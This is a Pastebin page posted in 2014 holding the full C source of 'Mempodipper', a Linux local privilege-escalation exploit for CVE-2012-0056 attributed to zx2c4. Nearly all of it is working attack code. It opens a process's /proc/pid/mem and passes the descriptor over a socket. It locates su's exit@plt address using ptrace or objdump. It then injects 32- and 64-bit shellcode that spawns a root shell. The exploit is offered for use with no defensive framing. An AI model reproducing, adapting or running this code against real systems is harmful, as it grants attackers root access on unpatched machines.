Cop1r3

2.6.18-348

Jan 20th, 2014
245
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 7.20 KB | None | 0 0
  1. /*
  2.  * Mempodipper
  3.  * by zx2c4
  4.  *
  5.  * Linux Local Root Exploit
  6.  *
  7.  * Rather than put my write up here, per usual, this time I've put it
  8.  * in a rather lengthy blog post: http://blog.zx2c4.com/749
  9.  *
  10.  * Enjoy.
  11.  *
  12.  * - zx2c4
  13.  * Jan 21, 2012
  14.  *
  15.  * CVE-2012-0056
  16.  */
  17.  
  18. #define _LARGEFILE64_SOURCE
  19. #define _GNU_SOURCE
  20. #include <stdio.h>
  21. #include <string.h>
  22. #include <stdlib.h>
  23. #include <sys/types.h>
  24. #include <sys/stat.h>
  25. #include <sys/socket.h>
  26. #include <sys/un.h>
  27. #include <sys/wait.h>
  28. #include <sys/types.h>
  29. #include <sys/user.h>
  30. #include <sys/ptrace.h>
  31. #include <sys/reg.h>
  32. #include <fcntl.h>
  33. #include <unistd.h>
  34. #include <limits.h>
  35.  
  36. char *prog_name;
  37.  
  38. int send_fd(int sock, int fd)
  39. {
  40.     char buf[1];
  41.     struct iovec iov;
  42.     struct msghdr msg;
  43.     struct cmsghdr *cmsg;
  44.     int n;
  45.     char cms[CMSG_SPACE(sizeof(int))];
  46.  
  47.     buf[0] = 0;
  48.     iov.iov_base = buf;
  49.     iov.iov_len = 1;
  50.  
  51.     memset(&msg, 0, sizeof msg);
  52.     msg.msg_iov = &iov;
  53.     msg.msg_iovlen = 1;
  54.     msg.msg_control = (caddr_t)cms;
  55.     msg.msg_controllen = CMSG_LEN(sizeof(int));
  56.  
  57.     cmsg = CMSG_FIRSTHDR(&msg);
  58.     cmsg->cmsg_len = CMSG_LEN(sizeof(int));
  59.     cmsg->cmsg_level = SOL_SOCKET;
  60.     cmsg->cmsg_type = SCM_RIGHTS;
  61.     memmove(CMSG_DATA(cmsg), &fd, sizeof(int));
  62.  
  63.     if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
  64.         return -1;
  65.     close(sock);
  66.     return 0;
  67. }
  68.  
  69. int recv_fd(int sock)
  70. {
  71.     int n;
  72.     int fd;
  73.     char buf[1];
  74.     struct iovec iov;
  75.     struct msghdr msg;
  76.     struct cmsghdr *cmsg;
  77.     char cms[CMSG_SPACE(sizeof(int))];
  78.    
  79.     iov.iov_base = buf;
  80.     iov.iov_len = 1;
  81.  
  82.     memset(&msg, 0, sizeof msg);
  83.     msg.msg_name = 0;
  84.     msg.msg_namelen = 0;
  85.     msg.msg_iov = &iov;
  86.     msg.msg_iovlen = 1;
  87.  
  88.     msg.msg_control = (caddr_t)cms;
  89.     msg.msg_controllen = sizeof cms;
  90.  
  91.     if ((n = recvmsg(sock, &msg, 0)) < 0)
  92.         return -1;
  93.     if (n == 0)
  94.         return -1;
  95.     cmsg = CMSG_FIRSTHDR(&msg);
  96.     memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
  97.     close(sock);
  98.     return fd;
  99. }
  100.  
  101. unsigned long ptrace_address()
  102. {
  103.     int fd[2];
  104.     printf("[+] Creating ptrace pipe.\n");
  105.     pipe(fd);
  106.     fcntl(fd[0], F_SETFL, O_NONBLOCK);
  107.  
  108.     printf("[+] Forking ptrace child.\n");
  109.     int child = fork();
  110.     if (child) {
  111.         close(fd[1]);
  112.         char buf;
  113.         printf("[+] Waiting for ptraced child to give output on syscalls.\n");
  114.         for (;;) {
  115.             wait(NULL);
  116.             if (read(fd[0], &buf, 1) > 0)
  117.                 break;
  118.             ptrace(PTRACE_SYSCALL, child, NULL, NULL);
  119.         }
  120.        
  121.         printf("[+] Error message written. Single stepping to find address.\n");
  122.         struct user_regs_struct regs;
  123.         for (;;) {
  124.             ptrace(PTRACE_SINGLESTEP, child, NULL, NULL);
  125.             wait(NULL);
  126.             ptrace(PTRACE_GETREGS, child, NULL, &regs);
  127. #if defined(__i386__)
  128. #define instruction_pointer regs.eip
  129. #define upper_bound 0xb0000000
  130. #elif defined(__x86_64__)
  131. #define instruction_pointer regs.rip
  132. #define upper_bound 0x700000000000
  133. #else
  134. #error "That platform is not supported."
  135. #endif
  136.             if (instruction_pointer < upper_bound) {
  137.                 unsigned long instruction = ptrace(PTRACE_PEEKTEXT, child, instruction_pointer, NULL);
  138.                 if ((instruction & 0xffff) == 0x25ff /* jmp r/m32 */)
  139.                     return instruction_pointer;
  140.             }
  141.         }
  142.     } else {
  143.         printf("[+] Ptrace_traceme'ing process.\n");
  144.         if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) {
  145.             perror("[-] ptrace");
  146.             return 0;
  147.         }
  148.         close(fd[0]);
  149.         dup2(fd[1], 2);
  150.         execl("/bin/su", "su", "not-a-valid-user", NULL);
  151.     }
  152.     return 0;
  153. }
  154.  
  155. unsigned long objdump_address()
  156. {
  157.     FILE *command = popen("objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
  158.     if (!command) {
  159.         perror("[-] popen");
  160.         return 0;
  161.     }
  162.     char result[32];
  163.     fgets(result, 32, command);
  164.     pclose(command);
  165.     return strtoul(result, NULL, 16);
  166. }
  167.  
  168. unsigned long find_address()
  169. {
  170.     printf("[+] Ptracing su to find next instruction without reading binary.\n");
  171.     unsigned long address = ptrace_address();
  172.     if (!address) {
  173.         printf("[-] Ptrace failed.\n");
  174.         printf("[+] Reading su binary with objdump to find exit@plt.\n");
  175.         address = objdump_address();
  176.         if (address == ULONG_MAX || !address) {
  177.             printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
  178.             printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", prog_name, prog_name);
  179.             exit(-1);
  180.         }
  181.     }
  182.     printf("[+] Resolved call address to 0x%lx.\n", address);
  183.     return address;
  184. }
  185.  
  186. int su_padding()
  187. {
  188.     printf("[+] Calculating su padding.\n");
  189.     FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");
  190.     if (!command) {
  191.         perror("[-] popen");
  192.         exit(1);
  193.     }
  194.     char result[256];
  195.     fgets(result, 256, command);
  196.     pclose(command);
  197.     return strstr(result, "this-user-does-not-exist") - result;
  198. }
  199.  
  200. int child(int sock)
  201. {
  202.     char parent_mem[256];
  203.     sprintf(parent_mem, "/proc/%d/mem", getppid());
  204.     printf("[+] Opening parent mem %s in child.\n", parent_mem);
  205.     int fd = open(parent_mem, O_RDWR);
  206.     if (fd < 0) {
  207.         perror("[-] open");
  208.         return 1;
  209.     }
  210.     printf("[+] Sending fd %d to parent.\n", fd);
  211.     send_fd(sock, fd);
  212.     return 0;
  213. }
  214.  
  215. int parent(unsigned long address)
  216. {
  217.     int sockets[2];
  218.     printf("[+] Opening socketpair.\n");
  219.     if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
  220.         perror("[-] socketpair");
  221.         return 1;
  222.     }
  223.     if (fork()) {
  224.         printf("[+] Waiting for transferred fd in parent.\n");
  225.         int fd = recv_fd(sockets[1]);
  226.         printf("[+] Received fd at %d.\n", fd);
  227.         if (fd < 0) {
  228.             perror("[-] recv_fd");
  229.             return 1;
  230.         }
  231.         printf("[+] Assigning fd %d to stderr.\n", fd);
  232.         dup2(2, 15);
  233.         dup2(fd, 2);
  234.  
  235.         unsigned long offset = address - su_padding();
  236.         printf("[+] Seeking to offset 0x%lx.\n", offset);
  237.         lseek64(fd, offset, SEEK_SET);
  238.        
  239. #if defined(__i386__)
  240.         // See shellcode-32.s in this package for the source.
  241.         char shellcode[] =
  242.             "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
  243.             "\x0f\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
  244.             "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
  245.             "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
  246.             "\x80";
  247. #elif defined(__x86_64__)
  248.         // See shellcode-64.s in this package for the source.
  249.         char shellcode[] =
  250.             "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x48"
  251.             "\x31\xf6\x40\xb7\x0f\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f"
  252.             "\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7"
  253.             "\x48\x31\xdb\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50"
  254.             "\x51\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
  255. #else
  256. #error "That platform is not supported."
  257. #endif
  258.         printf("[+] Executing su with shellcode.\n");
  259.         execl("/bin/su", "su", shellcode, NULL);
  260.     } else {
  261.         char sock[32];
  262.         sprintf(sock, "%d", sockets[0]);
  263.         printf("[+] Executing child from child fork.\n");
  264.         execl("/proc/self/exe", prog_name, "-c", sock, NULL);
  265.     }
  266.     return 0;
  267. }
  268.  
  269. int main(int argc, char **argv)
  270. {
  271.     prog_name = argv[0];
  272.    
  273.     if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c')
  274.         return child(atoi(argv[2]));
  275.    
  276.     printf("===============================\n");
  277.     printf("=          Mempodipper        =\n");
  278.     printf("=           by zx2c4          =\n");
  279.     printf("=         Jan 21, 2012        =\n");
  280.     printf("===============================\n\n");
  281.    
  282.     if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
  283.         return parent(strtoul(argv[2], NULL, 16));
  284.     else
  285.         return parent(find_address());
Add Comment
Please, Sign In to add comment